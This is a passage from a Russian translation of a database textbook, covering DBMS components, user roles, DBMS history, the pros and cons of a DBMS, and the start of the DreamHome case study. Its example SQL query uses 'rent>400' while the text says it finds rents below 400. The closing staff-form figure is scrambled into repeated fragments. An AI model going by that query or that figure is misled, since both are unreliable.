Офис северного отделения
Офис северного отделения
Рис. 1.7. Конфигурация аппаратного обеспечения для учебного проекта DreamHome
Рис. 1.7. Конфигурация аппаратного обеспечения для учебного проекта DreamHome
Офис южного отделения
Офис южного отделения
Программное обеспечение '
Этот компонент охватывает программное обеспечение самой СУБД и прикладных программ, вместе с операционной системой, включая и сетевое программное обеспечение, если СУБД используется в сети. Обычно приложения создаются на языках третьего поколения, таких как С, COBOL, Fortran, Ada или Pascal, или на языках четвертого поколения, таких как SQL, операторы которых внедряются в программы на языках третьего поколения. Впрочем, СУБД может иметь свои собственные инструменты четвертого поколения, предназначенные для быстрой разработки приложений с использованием встроенных непроцедурных языков запросов, генераторов отчетов, форм, графических изображений и даже полномасштабных приложений. Использование инструментов четвертого поколения может существенно повысить производительность системы и способствовать созданию более удобных для обслуживания программ. Инструменты четвертого поколения рассматриваются в разделе 2.2.3.
Данные
Вероятно, самым важным компонентом среды СУБД (с точки зрения конечных пользователей) являются данные. На рис. 1.6 показано, что данные играют роль моста между компьютером и человеком. База данных содержит как рабочие данные, так и метаданные, т.е. “данные о данных”. Структура базы данных называется схемой (schema). Показанная на рис. 1.5 схема базы данных состоит из четырех файлов, или таблиц (table): Property_for_Rent (Сдаваемый в аренду объект), Owner (Владелец), Renter (Арендатор) и Lease (Договор об аренде). Таблица Property_for_Rent имеет девять полей, или атрибутов: Property Number (Номер объекта), Street (Улица), Area (Район), City (Город), Post Code (Почтовый индекс), Property Туре (Тип объекта), Number of Rooms (Количество комнат), Monthly Rent (Ежемесячная арендная плата) и Owner Number (Номер владельца). Атрибут Owner Number моделирует связь между таблицей Property_for_Rent и таблицей Owner, т.е. некий владелец владеет (Owns) некой сдаваемой в аренду недвижимостью — как показано на диаграмме “сущность-связь11, представленной на рис. 1.4. В частности, из табл. 1.1 и 1.2 следует, что владелец под номером СО46, Joe Keogh, владеет недвижимостью под номером РА14.
В системном каталоге содержатся следующие сведения:
имена, типы и размеры элементов данных;
имена связей;
ограничения целостности данных;
имена зарегистрированных пользователей, которым предоставлены некоторые права доступа к данным;
используемые индексы и структуры хранения — например, инвертированные файлы или деревья В+.
Более подробно системный каталог рассматривается в разделе 2.4.
Процедуры
К процедурам относятся инструкции и правила, которые должны учитываться при проектировании и использовании базы данных. Пользователям и обслуживающему персоналу базы данных необходимо предоставить документацию, содержащую подробное описание процедур использования и сопровождения данной системы, включая инструкции о правилах выполнения приведенных ниже действий.
Регистрация в СУБД.
Использование отдельного инструмента СУБД или приложения.
Запуск и останов СУБД.
Создание резервных копий СУБД.
Обработка сбоев аппаратного и программного обеспечения, включая процедуры идентификации вышедшего из строя компонента, исправления отказавшего компонента (например, посредством вызова специалиста по ремонту аппаратного обеспечения), а также восстановления базы данных после устранения неисправности.
Изменение структуры таблицы, реорганизация базы данных, размещенной на нескольких дисках, способы улучшения производительности и методы архивирования данных на вторичных устройствах хранения.
Пользователи
Последним, еще не рассмотренным нами компонентом среды СУБД, являются пользователи системы. Этот компонент подробно обсуждается в разделе 1.4.
Разработка базы данных - смена парадигмы
До сих пор по умолчанию предполагалось, что данные в базе обладают некоторой структурой. Например, на рис. 1.5 показаны четыре таблицы: Property_forjtent, Owner, Renter и Lease. Но как была получена такая структура? Ответ на этот вопрос достаточно прост: структура базы данных определяется во время ее проектирования. Однако сам процесс проектирования базы данных может оказаться чрезвычайно сложным. Для создания системы, которая удовлетворяла бы информационным потребностям некоторой организации, необходимо использовать подход, совершенно отличающийся от методов разработки обычных файловых систем, в которых вся работа заключается в разработке приложений, удовлетворяющих нуждам отдельных подразделений. Для успешной реализации системы на основе базы данных необходимо подумать прежде всего о данных и лишь потом о приложениях. Такая смена подхода вполне может расцениваться как смена парадигмы. Чтобы система полностью удовлетворяла запросам пользователей, необходимо очень внимательно отнестись к процессу проектирования базы данных. Плохо спроектированная база данных будет порождать ошибки, способные привести к принятию неправильных решений, которые повлекут за собой самые серьезные последствия для данной организации. С другой стороны, хорошо спроектированная база данных позволит создать систему, поставляющую корректную информацию, которая может успешно использоваться для принятия правильных и эффективных решений.
Цель этой книги заключается в том, чтобы помочь воплотить смену парадигмы проектирования в жизнь. В нескольких главах книги (главы 7-12) детально описывается методология проектирования баз данных, представленная в виде перечня последовательно выполняемых этапов. Для каждого этапа предлагаются развернутые рекомендации по его выполнению. (Например, на ER-диаграмме, представленной на рис. 1.4, показаны шесть сущностей и шесть связей.) В предлагаемых рекомендациях будут даны советы, как идентифицировать все те сущности, атрибуты и связи, которые должны быть представлены в базе данных.
К сожалению, существующие методологии проектирования баз данных пока не получили широкого распространения. Большинство организаций или отдельных разработчиков при проектировании баз данных в очень незначительной степени полагается на какие-либо методологии. Именно это обстоятельство часто считается основной причиной неудач при разработке информационных систем. Из-за отсутствия структурированных подходов к проектированию баз данных необходимые для проведения разработки время и ресурсы обычно недооцениваются, а созданные базы данных часто неэффективны или не отвечают требованиям прикладных приложений. Предоставляемая документация часто бывает недостаточна, что чрезвычайно затрудняет сопровождение созданной базы данных.
Распределение обязанностей в системах с базами данных
В этом разделе мы рассмотрим упомянутый выше пятый компонент среды СУБД — ее пользователей. Среди них можно выделить четыре различные группы: администраторы данных и баз данных, разработчики баз данных, прикладные программисты и конечные пользователи.
Администраторы данных и администраторы баз данных
База данных и СУБД являются корпоративными ресурсами, которыми следует управлять так же, как и любыми другими ресурсами. Обычно управление данными и базой данных предусматривает управление и контроль за СУБД и помещенными в
нее данными. Администратор данных, или АД (Data Administrator — DA), отвечает за управление данными, включая планирование базы данных, разработку и сопровождение стандартов, бизнес-правил и деловых процедур, а также за концептуальное и логическое проектирование базы данных. АД консультирует и дает свои рекомендации руководству высшего звена, контролируя соответствие общего направления развития базы данных установленным корпоративными целями.
Администратор базы данных, или АБД (Database Administrator — DBA), отвечает за физическую реализацию базы данных, включая физическое проектирование и воплощение проекта, за обеспечение безопасности и целостности данных, за сопровождение операционной системы, а также за обеспечение максимальной производительности приложений и пользователей. По сравнению с АД, обязанности АБД носят более технический характер, и для него необходимо знание конкретной СУБД и системного окружения. В одних организациях между этими ролями не делается различий, а в других важность корпоративных ресурсов отражена именно в выделении отдельных групп персонала с указанным кругом обязанностей. Более подробно администрирование данных и баз данных рассматривается в разделе 4.7.
Разработчики баз данных
В проектировании больших баз данных участвуют два разных типа разработчиков: разработчики логической базы данных и разработчики физической базы данных. Разработчик логической базы данных занимается идентификацией данных (т.е. сущностей и их атрибутов), связей между данными и устанавливает ограничения, накладываемые на хранимые данные. Разработчик логической базы данных должен обладать всесторонним и полным пониманием структуры данных организации и ее бизнес-правил. Бизнес-правила описывают основные характеристики данных с точки зрения организации. Ниже приводятся примеры типичных бизнес-правил.
Любой сотрудник не может отвечать одновременно более чем за десять сдаваемых в аренду или продаваемых объектов недвижимости.
Любой сотрудник не имеет права продавать или сдавать в аренду свою собственную недвижимость.
Доверенное лицо не может выступать одновременно и как покупатель, и как продавец недвижимости.
Для эффективной работы разработчик логической базы данных должен как можно раньше вовлечь всех предполагаемых пользователей базы данных в процесс создания модели данных. В этой книге работа разработчика логической базы данных делится на два этапа.
Концептуальное проектирование базы данных, которое совершенно не зависит от таких деталей ее воплощения, как конкретная целевая СУБД, приложения, языки программирования или любые другие физические характеристики.
Логическое проектирование базы данных, которое проводится с учетом особенностей выбранной модели данных: реляционной, сетевой, иерархической или объектно-ориентированной.
Разработчик физической базы данных получает готовую логическую модель данных, занимается ее физической реализацией, в том числе:
преобразованием логической модели данных в набор таблиц и ограничений целостности данных;
выбором конкретных структур хранения и методов доступа к данным, обеспечивающих необходимый уровень производительности при работе с базой данных;
проектированием любых требуемых мер защиты данных.
Многие этапы физического проектирования базы данных в значительной степени зависят от выбранной целевой СУБД, а потому может существовать несколько различных способов воплощения требуемой схемы. Следовательно, разработчик физической базы данных должен разбираться в функциональных возможностях целевой СУБД и понимать достоинства и недостатки каждого возможного варианта воплощения. Разработчик физической базы данных должен уметь выбрать наиболее подходящую стратегию хранения данных с учетом всех существующих особенностей их использования. Если концептуальное и логическое проектирование базы данных отвечает на вопрос “что?”, то физическое проектирование отвечает на вопрос “как?”. Для решения этих задач требуются разные навыки работы, которыми чаще всего обладают разные люди. Методология концептуального проектирования базы данных рассматривается в главе 7, “Методология концептуального проектирования баз данных”, логическое проектирование — в главе 8, “Методология логического проектирования реляционных баз данных”, а физическое — в главе 9, “Методология физического проектирования реляционных баз данных”.
Прикладные программисты
Сразу после создания базы данных следует приступить к разработке приложений, предоставляющих пользователям необходимые им функциональные возможности. Именно эту работу и выполняют прикладные программисты. Обычно прикладные программисты работают на основе спецификаций, созданных системными аналитиками. Как правило, каждая программа содержит некоторые операторы, требующие от СУБД выполнения определенных действий с базой данных — например, таких как извлечение, вставка, обновление или удаление данных. Как уже упоминалось в предыдущем разделе, эти программы могут создаваться на различных языках программирования третьего или четвертого поколения.
Пользователи
Пользователи являются клиентами базы данных — она проектируется, создается и поддерживается для того, чтобы обслуживать их информационные потребности. Пользователей можно классифицировать по способу использования ими системы.
■ Наивные пользователи обычно даже и не подозревают о наличии СУБД. Они обращаются к базе данных с помощью специальных приложений, позволяющих в максимальной степени упростить выполняемые ими операции. Такие пользователи инициируют выполнение операций базы данных, вводя простейшие команды или выбирая команды меню. Это значит, что таким пользователям не нужно ничего знать о базе данных или СУБД. Например, чтобы узнать цену товара, кассир в супермаркете использует сканер для считывания нанесенного на него штрих-кода. В результате этого простейшего действия специальная программа не только считывает штрих-код, но и выбирает на основе его значения цену товара из базы данных, а также уменьшает значение в другом поле базы данных, обозначающем остаток таких товаров на складе, после чего выбивает цену и общую стоимость на кассовом аппарате.
■ Опытные пользователи. С другой стороны спектра находятся опытные конечные пользователи, которые знакомы со структурой базы данных и возможностями СУБД. Для выполнения требуемых операций они могут использовать такой язык запросов высокого уровня, как SQL. А некоторые опытные пользователи могут даже создавать собственные прикладные программы.
История развития СУБД
Как уже упоминалось выше, предшественницами СУБД были файловые системы. Однако появление СУБД не привело к полному исчезновению файловых систем. Для выполнения некоторых специализированных задач подобные файловые системы используются до сих пор. Считается, что развитие СУБД началось еще в 60-е годы, когда разрабатывался проект полета корабля Apollo на Луну. Этот проект был начат по инициативе президента США Дж. Ф. Кеннеди, поставившего задачу высадить человека на Луну к концу десятилетия. В то время не существовало никаких систем, способных обрабатывать или как-либо управлять тем огромным количеством данных, которое было необходимо для реализации этого проекта.
В результате специалисты основного подрядчика — фирмы North American Aviation (теперь эта фирма называется Rockwell International) — разработали программное обеспечение под названием GUAM (Generalized Update Access Method). Основная идея GUAM была построена на том, что малые компоненты объединяются вместе как части более крупных компонентов до тех пор, пока не будет собран воедино весь проект. Эта соответствующая инвертированному дереву структура часто называется иерархической структурой (hierarchical structure). В середине 60х годов корпорация IBM присоединилась к фирме NAA для совместной работы над GUAM, в результате чего была создана система IMS (Information Management System). Причина, по которой корпорация IBM ограничила функциональные возможности IMS только управлением иерархиями записей, заключалась в том, что необходимо было обеспечить работу с устройствами хранения с последовательным доступом, а именно с магнитными лентами, которые были основным типом носителя в то время. Спустя некоторое время это ограничение удалось преодолеть. Несмотря на то, что IMS является самой первой из всех коммерческих СУБД, она до сих пор остается основной иерархической СУБД, используемой на большинстве крупных мейнфреймов.
Другим заметным достижением середины 60-х годов было появление системы IDS (Integrated Data Store) фирмы General Electric. Работу над ней возглавлял один из пионеров исследований в области систем управления базами данных — Чарльз Бачман (Charles Bachmann). Развитие этой системы привело к созданию нового типа систем управления базами данных — сетевых (network) СУБД, — что оказало существенное влияние на информационные системы того поколения. Сетевая СУБД создавалась для представления более сложных взаимосвязей между данными, чем те, которые можно было моделировать с помощью иерархических структур, а также для формирования стандарта баз данных. Для создания таких стандартов в 1965 году на конференции организации CODASYL (Conference on Data Systems Languages), проходившей при участии представителей правительства США и бизнесменов, была сформирована рабочая группа List Processing Task Force, переименованная в 1967 году в группу Data Base Task Group (DBTG). В компетенцию группы DBTG входило определение спецификаций среды, которая допускала бы разработку баз данных и управление данными. Предварительный вариант отчета этой группы был опубликован в 1969 году, а первый полный вариант — в 1971 году. Предложения группы DBTG содержали три компонента.
Сетевая схема — это логическая организация всей базы данных в целом (с точки зрения АДБ), которая включает определение имени базы данных, типа каждой записи и компонентов записей каждого типа.
Подсхема — это часть базы данных, как она видится пользователям или приложениям.
Язык управления данными — инструмент для определения характеристик и структуры данных, а также для управления ими.
Группа DBTG также предложила стандартизировать три различных языка.
Язык определения данных (Data Definition Language — DDL) для схемы, который позволит АБД описать ее.
Язык определения данных (также DDL) для подсхемы, который позволит определять в приложениях те части базы данных, доступ к которым будет необходим.
Язык манипулирования данными (Data Manipulation Language — DML), предназначенный для управления данными.
Несмотря на то что этот отчет официально не был одобрен Национальным Институтом Стандартизации США (American National Standards Institute — ANSI), большое количество систем было разработано в полном соответствии с этими предложениями группы DBTG. Теперь они называются CODASYL-системами, или DBTG- системами. CODASYL-системы и системы на основе иерархических подходов представляют собой СУБД первого поколения. Более подробно они рассматриваются в приложениях В, “Сетевая модель данных”, и Г, “Иерархическая модель данных”, соответственно. Однако этим двум моделям присущи приведенные ниже недостатки.
Даже для выполнения простых запросов с использованием переходов и доступом к определенным записям необходимо создавать достаточно сложные программы.
Независимость от данных существует лишь в минимальной степени.
Отсутствие общепризнанных теоретических основ.
В 1970 году Э. Ф. Кодд (Е. F. Codd), работавший в исследовательской лаборатории корпорации IBM, опубликовал очень важную и весьма своевременную статью о реляционной модели данных, позволявшей устранить недостатки прежних моделей. Вслед за этим появилось множество экспериментальных реляционных СУБД, а первые коммерческие продукты появились в конце 70-х - начале 80-х годов. Особенно следует отметить проект System R, разработанный в исследовательской лаборатории корпорации IBM, расположенной в городе Сан-Хосе, штат Калифорния, созданный в конце 70-х годов (Astrahan et al., 1976). Этот проект был задуман с целью доказать практичность реляционной модели, что достигалось посредством реализации предусмотренных ею структур данных и требуемых функциональных возможностей. На основе этого проекта были получены важнейшие результаты.
Был разработан структурированный язык запросов SQL, который с тех пор стал стандартным языком любых реляционных СУБД.
В 80-х годах были созданы различные коммерческие реляционные СУБД — например, DB2 или SQL/DS корпорации IBM или Oracle корпорации Oracle Corporation.
В настоящее время существует несколько сотен различных реляционных СУБД для мейнфреймов и микрокомпьютеров, хотя для многих из них определение реляционной модели носит несколько преувеличенный характер. В качестве примера многопользовательских СУБД может служить система CA-Openlngres фирмы Computer Associates и систему Informix фирмы Informix Software, Inc. Примерами реляционных СУБД для персональных компьютеров являются Access и FoxPro фирмы Microsoft, Paradox и Visual dBase фирмы Borland, а также R:Base фирмы Microrim. Реляционные СУБД относятся к СУБД второго поколения. Более подробно реляционная модель данных рассматривается в главе 3, “Реляционная модель”.
Однако реляционная модель также обладает некоторыми недостатками — в частности, ограниченными возможностями моделирования. Для решения этой проблемы был выполнен большой объем исследовательской работы. В 1976 году Чен предложил модель “сущность-связь” (Entity-Relationship model — ER-модель), которая в настоящее время стала самой распространенной технологией проектирования баз данных и является основой методологии, описанной в главах 7, “Методология концептуального про-
ектирования баз данных”, и 8, “Методология логического проектирования реляционных баз данных”, В 1979 году Кодд сделал попытку устранить недостатки собственной основополагающей работы и опубликовал расширенную версию реляционной модели — RM/T (1979), затем еще одну версию — RM/V2 (1990). Попытки создания модели данных, позволяющей более точно описывать реальный мир, нестрого называют семантическим моделированием данных (semantic data modeling).
В ответ на все возрастающую сложность приложений баз данных появились две новые системы: объектно-ориентированные СУБД, или ОО СУБД (Object-Oriented DBMS — OODBMS), и объектно-реляционные СУБД, или ОР СУБД (Object- Relational DBMS — ORDBMS). Однако, в отличие от предыдущих моделей, действительная структура этих моделей не совсем ясна. Попытки реализации подобных моделей представляют собой СУБД третьего поколения, которые более подробно будут рассмотрены в главах 21-23.
1.6. Преимущества и недостатки СУБД
СУБД обладают как многообещающими потенциальными преимуществами, так и недостатками, которые мы кратко рассмотрим в этом разделе.
Преимущества
Контроль за избыточностью данных.
Непротиворечивость данных.
Больше полезной информации при том же объеме хранимых данных.
Совместное использование данных.
Поддержка целостности данных.
Повышенная безопасность.
Применение стандартов.
Повышение эффективности с ростом масштабов системы.
Возможность нахождения компромисса при противоречивых требованиях.
Повышение доступности данных и их готовности к работе.
Улучшение показателей производительности.
Упрощение сопровождения системы за счет независимости от данных.
Улучшенное управление параллельностью.
Развитые службы резервного копирования и восстановления.
Контроль за избыточностью данных
Как уже говорилось в разделе 1.2, традиционные файловые системы неэкономно расходуют внешнюю память, сохраняя одни и те же данные в нескольких файлах. Например, на рис. 1.3 одинаковые сведения об арендуемой недвижимости и арендаторах хранятся в файлах отдела реализации и файлах отдела контрактов. При использовании базы данных, наоборот, предпринимается попытка исключить избыточность данных за счет интеграции файлов, чтобы избежать хранения нескольких копий одного и того же элемента информации. Однако полностью избыточность информации в базах данных не исключается, а лишь контролируется ее степень. В одних случаях ключевые элементы данных необходимо дублировать для моделирования связей, а в других случаях некоторые данные потребуется дублировать из соображений повышения производительности системы. Мотивы введения в базу контролируемой избыточности данных станут понятны при чтении следующих глав.
Непротиворечивость данных
Устранение избыточности данных или контроль над ней позволяет сократить риск возникновения противоречивых состояний. Если элемент данных хранится в базе только в одном экземпляре, то для изменения его значения потребуется выполнить только одну операцию обновления, причем новое значение станет доступным сразу всем пользователям базы данных. А если этот элемент данных с ведома системы хранится в базе данных в нескольких экземплярах, то такая система сможет следить за тем, чтобы копии не противоречили друг другу. К сожалению, во многих современных СУБД такой тип непротиворечивости данных автоматически не поддерживается.
Больше полезной информации при том же объеме хранимых данных
Благодаря интеграции рабочих данных организации на основе тех же данных можно получать дополнительную информацию. Например, в показанной на рис. 1.3 файловой системе сотрудникам отдела контрактов неизвестны владельцы сданных в аренду объектов. Аналогично, сотрудники отдела реализации не имеют полных сведений о договорах об аренде. При интеграции этих файлов в общей базе сотрудники отдела контрактов получают доступ к сведениям о владельцах, а сотрудники отдела реализации — к сведениям о договорах аренды. Теперь на основе тех же данных пользователи смогут получать больше информации.
Совместное использование данных
Файлы обычно принадлежат отдельным лицам или целым отделам, которые используют их в своей работе. В то же время, база данных принадлежит всей организации в целом и может совместно использоваться всеми зарегистрированными пользователями. При такой организации работы большее количество пользователей может работать с большим объемом данных. Более того, при этом можно создавать новые приложения на основе уже существующей в базе данных информации и добавлять в нее только те данные, которые в настоящий момент еще не хранятся в ней, а не определять заново требования ко всем данным, необходимым новому приложению. Новые приложения могут также использовать такие предоставляемые типичными СУБД функциональные возможности, как определение структур данных и управление доступом к данными, организация параллельной обработки и обеспечение средств копирования/восстановления, исключив необходимость реализации этих функции со своей стороны.
Поддержка целостности данных
Целостность базы данных означает корректность и непротиворечивость хранимых в ней данных. Целостность обычно описывается с помощью ограничений, т.е. правил поддержки непротиворечивости, которые не должны нарушаться в базе данных. Ограничения можно применять к элементам данных внутри одной записи или к связям между записями. Например, ограничение целостности может гласить, что зарплата сотрудника не должна превышать 40 000 фунтов стерлингов в год или же что в записи с данными о сотруднике номер отделения, в котором он работает, должен соответствовать реально существующему отделению компании. Таким образом, интеграция данных позволяет АБД задавать требования по поддержке целостности данных, а СУБД применять их.
Повышенная безопасность
Безопасность базы данных заключается в защите базы данных от несанкционированного доступа со стороны пользователей. Без привлечения соответствующих мер безопасности интегрированные данные становятся более уязвимыми, чем данные в файловой системе. Однако интеграция позволяет АБД определить требуемую систему безопасности базы данных, а СУБД привести ее в действие. Система обеспечения безопасности может быть выражена в форме учетных имен и паролей для идентификации пользователей, которые зарегистрированы в этой базе данных. Доступ к данным со стороны зарегистрированного пользователя может быть огра-
ничен только некоторыми операциями (извлечением, вставкой, обновлением и удалением). Например, АБД может быть предоставлено право доступа ко всем данным в базе данных, менеджеру отделения компании — ко всем данным, которые относятся к его отделению, а инспектору отдела реализации — лишь ко всем данным о недвижимости, в результате чего он не будет иметь доступа к конфиденциальным данным, например, о зарплате сотрудников.
Применение стандартов,
Интеграция позволяет АБД определять и применять необходимые стандарты. Например, стандарты отдела и организации, государственные и международные стандарты могут регламентировать формат данных при обмене ими между системами, соглашения об именах, форму представления документации, процедуры обновления и правила доступа.
Повышение эффективности с ростом масштабов системы
Комбинируя все рабочие данные организации в одной базе данных и создавая набор приложений, которые работают с одним источником данных, можно добиться существенной экономии средств. В этом случае бюджет, который обычно выделялся каждому отделу для разработки и поддержки их собственных файловых систем, можно объединить с бюджетами других отделов (с более низкой общей стоимостью), что п’озволит добиться повышения эффективности при росте масштабов производства. Теперь объединенный бюджет можно будет использовать для приобретения оборудования той конфигурации, которая в большей степени отвечает потребностям организации. Например, она может состоять из одного мощного компьютера или сети из небольших компьютеров.
Возможность нахождения компромисса для противоречивых требований
Потребности одних пользователей или отделов могут противоречить потребностям других пользователей. Поскольку база данных контролируется АБД, он может принимать решения о проектировании и способе использования базы данных, при которых имеющиеся ресурсы всей организации в целом будут использоваться наилучшим образом. Эти решения обеспечивают оптимальную производительность для самых важных приложений, причем чаще всего за счет менее критичных.
Повышение доступности данных и их готовности к работе
Данные, которые пересекают границы отделов, в результате интеграции становятся непосредственно доступными конечным пользователям. Потенциально это повышает функциональность системы, что, например, может быть использовано для более качественного обслуживания конечных пользователей или клиентов организации. Во многих СУБД предусмотрены языки запросов или инструменты для создания отчетов, которые позволяют пользователям задавать непредусмотренные заранее вопросы и почти немедленно получать требуемую информацию на своих терминалах, не прибегая к помощи программиста, который для извлечения этой информации из базы данных должен был бы создать специальное программное обеспечение. Например, менеджер отделения компании может получить перечень всех сдаваемых в аренду квартир с месячной арендной платой ниже 400 фунтов стерлингов, введя на своем терминале следующий SQL-оператор:
SELECT *
FROM property_for_rent
WHERE type='Flat' AND rent>400;
Улучшение показателей производительности
Как уже упоминалось выше, в СУБД предусмотрено много стандартных функций, которые программист обычно должен самостоятельно реализовать в приложениях для файловых систем. На базовом уровне СУБД обеспечивает все низкоуровневые процедуры работы с файлами, которую обычно выполняют приложения. Наличие этих проце-
дур позволяет программисту сконцентрироваться на разработке более специальных, необходимых пользователям функций, не заботясь о подробностях их воплощения на более низком уровне. Во многих СУБД также предусмотрена среда разработки четвертого поколения с инструментами, упрощающими создание приложений баз данных. Результатом является повышение производительности работы программистов и сокращение времени разработки новых приложений (с соответствующей экономией средств).
Упрощение сопровождения системы за счет независимости от данных
В файловых системах описания данных и логика доступа к данным встроены в каждое приложение, что делает программы зависимыми от данных. Для изменения структуры данных — например, для увеличения длины поля с адресом с 40 символов до 41 символа — или для изменения способа хранения данных на диске может потребоваться существенно преобразовать все программы, на которые эти изменения способны оказать влияние. В СУБД подход иной: описания данных отделены от приложений, а потому приложения защищены от изменений в описаниях данных. Эта особенность называется независимостью от данных. Подробнее речь о ней пойдет в разделе 2.1.5. Наличие независимости программ от данных значительно упрощает обслуживание и сопровождение приложений, работающих с базой данных.
Улучшенное управление параллельностью
В некоторых файловых системах при одновременном доступе к одному и тому же файлу двух пользователей может возникнуть конфликт двух запросов, результатом которого будет потеря информации или утрата ее целостности. В свою очередь, во многих СУБД предусмотрена возможность параллельного доступа к базе данных и гарантируется отсутствие подобных проблем. Более подробно управление параллельным доступом к данным обсуждается в главе 17, “Управление транзакциями”.
Развитые службы резервного копирования и восстановления
Ответственность за обеспечение защиты данных от сбоев аппаратного и программного обеспечения в файловых системах возлагается на пользователя. Так, может потребоваться каждую ночь выполнять резервное копирование данных. При этом в случае сбоя может быть восстановлена резервная копия, но результаты работы, выполненной после резервного копирования, будут утрачены, и данную работу потребуется выполнить заново. В современных СУБД предусмотрены средства сокращения объема потерь информации от возникновения различных сбоев. Подробнее методы восстановления баз данных после сбоя рассматриваются в главе 17, “Управление транзакциями”.
Недостатки
Сложность.
Размер.
Стоимость СУБД.
Дополнительные затраты на аппаратное обеспечение.
Затраты на преобразование.
Производительность.
Более серьезные последствия при выходе системы из строя.
Сложность
Обеспечение функциональности, которой должна обладать каждая хорошая СУБД, сопровождается значительным усложнением программного обеспечения СУБД. Чтобы воспользоваться всеми преимуществами СУБД, проектировщики и разработчики баз данных, администраторы данных и администраторы баз данных, а также конечные пользователи должны хорошо понимать функциональные возможности СУБД. Непонимание принципов работы системы может привести к неудачным результатам проектирования, что будет иметь самые серьезные последствия для всей организации.
Размер
Сложность и широта функциональных возможностей приводит к тому, что СУБД становится чрезвычайно сложным программным продуктом, который может занимать много места на диске и требовать большого объема оперативной памяти для эффективной работы.
Стоимость СУБД
В зависимости от имеющейся вычислительной среды и требуемых функциональных возможностей, стоимость СУБД может варьировать в очень широких пределах. Например, однопользовательская СУБД для персонального компьютера может стоить около 100 фунтов стерлингов. Однако большая многопользовательская СУБД для мейнфрейма, обслуживающая сотни пользователей может быть чрезвычайно дорогой: от 100 000 до 500 000 фунтов стерлингов. Кроме того, следует учесть ежегодные расходы на сопровождение системы, которые составляют некоторый процент от ее общей стоимости.
Дополнительные затраты на аппаратное обеспечение
Для удовлетворения требований, предъявляемых к дисковым накопителям со стороны СУБД и базы данных, может понадобиться приобрести дополнительные устройства хранения информации. Более того, для достижения требуемой производительности может понадобиться более мощный компьютер, который, возможно, будет работать только с СУБД. Приобретение другого дополнительного аппаратного обеспечения приведет к дальнейшему росту затрат.
Затраты на преобразование
В некоторых ситуациях стоимость СУБД и дополнительного аппаратного обеспечения может оказаться несущественной по сравнению со стоимостью преобразования существующих приложений для работы с новой СУБД и новым аппаратным обеспечением. Эти затраты также включают стоимость подготовки персонала для работы с новой системой, а также оплату услуг специалистов, которые будут оказывать помощь в преобразовании и запуске новой системы. Все это является одной из основных причин, по которой некоторые организации остаются сторонниками прежних систем и не хотят переходить к более современным технологиям управления базами данных. Термин традиционная система иногда используется для обозначения устаревших и, как правило, не самых лучших систем.
Производительность
Обычно файловая система создается для некоторых специализированных приложений, например для оформления счетов, а потому ее производительность может быть весьма высока. Однако СУБД предназначены для решения более общих задач и обслуживания сразу нескольких приложений, а не какого-то одного из них. В результате многие приложения в новой среде будут работать не так быстро, как прежде.
Более серьезные последствия при выходе системы из строя
Централизация ресурсов повышает уязвимость системы. Поскольку работа всех пользователей и приложений зависит от готовности к работе СУБД, выход из строя одного из ее компонентов может привести к полному прекращению всей работы организации.
1.7. Учебный проект DreamHome
В этом учебном проекте описана работа некоторой компании под названием DreamHome, которая занимается сдачей в аренду объектов недвижимости по поручению их владельцев. Компания предлагает полный комплекс услуг владельцам, которые желают сдать в аренду свою меблированную недвижимость. Предлагаемые компанией DreamHome услуги включают рекламу недвижимости в местной или общена-
циональной прессе (если это необходимо), опрос предполагаемых арендаторов, организацию просмотра сдаваемых в аренду объектов потенциальными арендаторами, а также составление договоров на аренду. После сдачи недвижимости в аренду на компанию DreamHome возлагается ответственность за нее, т.е. сотрудники DreamHome должны регулярно инспектировать текущее состояние объектов. Ниже перечислены данные, которые необходимо фиксировать, корректировать и использовать в работе сотрудникам всех отделений компании при выполнении их ежедневных обязанностей, а также при управлении деятельностью компании DreamHome.
Требования к данным
Отделения компании
Компания DreamHome имеет несколько отделений, расположенных по всей территории Великобритании. Каждое отделение имеет уникальный номер и адрес (улица, район, город, почтовый индекс), номер телефона и факса. Кроме того, каждое отделение имеет собственный штат сотрудников.
Персонал
В каждом отделении компании DreamHome имеется менеджер, отвечающий за работу этого отделения. В компании DreamHome постоянно ведется контроль за эффективностью работы менеджеров отделений, для чего фиксируется дата вступления каждого менеджера в должность. Кроме того, каждому менеджеру выплачивается ежегодная компенсация транспортных расходов и ежемесячная премия, размер которой зависит от эффективности работы отделения.
В штат каждого отделения входит несколько работников, называемых инспекторами (или старшими администраторами). Инспектор отвечает за ежедневную деятельность отдельной группы сотрудников (состоящей как минимум из пяти и как максимум из десяти человек), которые непосредственно занимаются сдачей недвижимости в аренду. Для оказания помощи в выполнении административных обязанностей в каждой группе имеется секретарь.
Каждый сотрудник имеет персональный (табельный) номер, который уникален для всех отделений компании. О каждом сотруднике компании хранится следующая информация: имя и фамилия, адрес, номер телефона, пол, дата рождения, номер социальной страховки, должность, годовая зарплата и дата вступления в должность. О секретаре хранится дополнительная информация о присущей ему скорости печати на пишущей машинке.
Кроме того, компания также хранит сведения о ближайших родственниках (наследниках) сотрудников, включая их имена и фамилии, степень родства с сотрудником компании, адрес и телефон. Хранятся данные только об одном ближайшем родственнике каждого сотрудника.
На рис. 1.8 показан пример формы, заполненной сведениями о сотруднике по имени John White, работающем в лондонском отделении компании.
DreamHome -Staff Details?Staff Number: SL21DreamHome -Staff Details?Staff Number: SL21Address 19 Taylor St, Cranford, LondonAddress 19 Taylor St, Cranford, London, ' Sex Male, ' Sex MaleTel No 0171-884-5112Tel No 0171-884-5112Date of Birth 1-Oct-45NIN WK442011BDate of Birth 1-Oct-45NIN WK442011BFull Name Mary WhiteFull Name Mary WhiteAddress 19 Taylor St, t Cranford, LondonAddress 19 Taylor St, t Cranford, LondonRelationship WifeRelationship WifePosition ManagerPosition ManagerAllocated to, Branch Office LondonAllocated to, Branch Office LondonDate Start19-Sep-89 'Date Start19-Sep-89 'Salary30,000'Salary30,000'
DreamHome -
Staff Details?
Staff Number: SL21
DreamHome -
Staff Details?
Staff Number: SL21
Address 19 Taylor St, Cranford, London
Address 19 Taylor St, Cranford, London
, ' Sex Male
, ' Sex Male
Tel No 0171-884-5112
Tel No 0171-884-5112
Date of Birth 1-Oct-45
NIN WK442011B
Date of Birth 1-Oct-45
NIN WK442011B
Full Name Mary White
Full Name Mary White
Address 19 Taylor St, t Cranford, London
Address 19 Taylor St, t Cranford, London
Relationship Wife
Relationship Wife
Position Manager
Position Manager
Allocated to
, Branch Office London
Allocated to
, Branch Office London
Date Start19-Sep-89 '
Date Start19-Sep-89 '
Salary30,000'
Salary30,000'
CarAllowance2,000'
Branch Number B5Joined Company 24-Oct-88Branch Number B5Joined Company 24-Oct-88Bonus Payment340'Bonus Payment340'
Branch Number B5
Joined Company 24-Oct-88
Branch Number B5
Joined Company 24-Oct-88
